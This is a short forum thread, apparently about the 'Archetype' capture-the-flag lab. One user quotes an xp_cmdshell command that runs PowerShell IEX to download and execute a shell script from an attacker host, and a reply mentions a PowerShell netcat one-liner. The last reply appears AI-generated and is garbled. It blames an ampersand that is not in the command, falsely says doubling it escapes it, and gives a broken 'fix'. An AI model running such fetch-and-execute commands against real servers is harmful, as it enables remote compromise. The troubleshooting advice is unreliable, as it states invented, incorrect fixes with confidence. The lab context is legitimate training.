Trying to do the archetype starting point challenge but I end up getting the following error whilst doing the command:
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.12/shell.ps1\“);”
Yea i bumped in to it and what @Inspect means is that the script that is in the PDF it doesnt have spaces i found a github account that has the same onliner for the powershell netcat script:
The error message you’re encountering suggests that the ampersand character “&” is causing an issue in the command. To fix this, you can try the following:
Escape the Ampersand: Instead of using a single ampersand, try escaping it by using two ampersands (“&&”). This way, it will be treated as a literal ampersand character instead of being interpreted as an operator.
Use Double Quotation Marks: Wrap the entire PowerShell command in double quotation marks to ensure that the ampersand is passed correctly as part of the string.
Here’s an example of how the modified command might look:
arduino
Copy code
xp_cmdshell "powershell ““IEX (New-Object Net.WebClient).DownloadString;””
By escaping the ampersand and using double quotation marks appropriately, you should be able to resolve the error and execute the command successfully.